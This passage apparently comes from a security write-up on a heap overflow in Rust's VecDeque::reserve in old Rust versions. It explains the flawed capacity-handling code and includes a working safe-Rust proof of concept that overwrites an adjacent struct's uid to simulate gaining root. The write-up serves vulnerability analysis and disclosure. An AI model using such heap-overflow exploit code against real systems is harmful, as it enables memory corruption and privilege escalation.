&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// A&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Nop&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// B&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;copy_nonoverlapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;debug_assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// C&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;copy_nonoverlapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_tail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;debug_assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;debug_assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;debug_assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;debug_assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;count_ones&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;VecDeque::handle_cap_increase()&lt;/code&gt; may move the prefix or the suffix of the buffer to handle the change of the internal buffer size. Case B (the prefix is shorter than the suffix) copies the prefix of the buffer to &lt;code&gt;old_cap&lt;/code&gt; position and moves &lt;code&gt;head&lt;/code&gt; pointer. This leads to out-of-bound write and pointer corruption when &lt;code&gt;new_cap&lt;/code&gt; is equal to &lt;code&gt;old_cap&lt;/code&gt;. The &lt;code&gt;head&lt;/code&gt; pointer is not wrapped to the size of the internal buffer, so invoking &lt;code&gt;VecDeque::push_back()&lt;/code&gt; will allow one additional element to overflow. Overall, this vulnerability allows an attacker to overflow at most N/2 elements, where N is the size of the internal buffer before calling &lt;code&gt;VecDeque::reserve()&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;In this section, we present a PoC attack against the vulnerability. The code is written entirely in safe Rust, but the content of an immutable struct is being changed due to the heap overflow.&lt;/p&gt;
&lt;p&gt;According to the CVE report, Rust version from 1.3.0 to 1.21.0 are affected by this bug. However, version 1.21.0 seems not to be affected by this error in our experiment, so we targeted version 1.20.0. This code expects &lt;a href="http://jemalloc.net/"&gt;jemalloc&lt;/a&gt; heap allocator since it was the default heap allocator of Rust on Linux at that time, but it would be straightforward to adapt this code to glibc malloc and use one of &lt;a href="https://github.com/shellphish/how2heap"&gt;glibc heap exploitation techniques&lt;/a&gt;. We tested our PoC code with &lt;code&gt;1.20.0-x86_64-unknown-linux-gnu&lt;/code&gt; toolchain.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;size_of&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VecDeque&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cp"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="nb"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// VecDeque allocates internal buffer on the heap&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;VecDeque&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VecDeque&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;with_capacity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// We allocate a new user on the heap using Box&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_box&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Box&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size_of&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size_of&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Deque internal buffer capacity: {}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Deque internal buffer size: {}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User struct size: {}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// jemalloc will put VecDeque internal buffer and User struct close if their size matches&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Current user: {:?}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user_box&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_slices&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="n"&gt;as_ptr&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_ref&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;VecDeque buffer at: 0x{:08x}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User struct at: 0x{:08x}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// check if they were actually allocated next to each other&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_front&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_front&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// this will copy 0 to internal_buffer[len] position (lower 4 bytes of uid)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// it also corrupts the ring buffer head pointer to point len + 1 position&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reserve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// this will write 0 to internal_buffer[len + 1] position (upper 4 bytes of uid)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// uid of immutable user variable was overwritten at this point&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Overwritten user: {:?}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user_box&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You are root!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You don&amp;#39;t have the root permission&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code prints this result when executed. We can observe that the content of the immutable struct &lt;code&gt;user_box&lt;/code&gt; has changed.&lt;/p&gt;
